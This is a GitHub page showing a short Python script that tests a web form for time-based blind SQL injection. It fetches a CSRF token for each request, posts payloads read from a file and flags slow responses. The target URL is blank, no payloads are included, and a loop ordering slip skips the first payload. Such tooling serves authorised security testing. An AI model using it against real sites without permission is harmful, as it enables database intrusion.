-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsqli_timebased.py
More file actions
29 lines (24 loc) · 903 Bytes
/
Copy pathsqli_timebased.py
File metadata and controls
29 lines (24 loc) · 903 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
"""
This script will test a web application for time based SQLi that also uses CSRF protection to protect the POST request.
"""
import requests
from bs4 import BeautifulSoup
url = ''
def get_token():
token_url = ''
token_result = requests.get(token_url)
return token_result.text
with open('time_inject', 'r') as injections:
inject = injections.readline()
cnt = 1
while inject:
#print("Trying injection: {}".format(inject.strip()))
inject = injections.readline()
cnt += 1
token = get_token()
data = {'name':inject, 'mail':'test98%40test.com','token':token}
result = requests.post(url, data)
time = result.elapsed.total_seconds()
if time >= 5:
soup = BeautifulSoup(result.text, 'html.parser')
print ("The injection used: {} :::::::: The response was {}".format(inject, soup.p.text))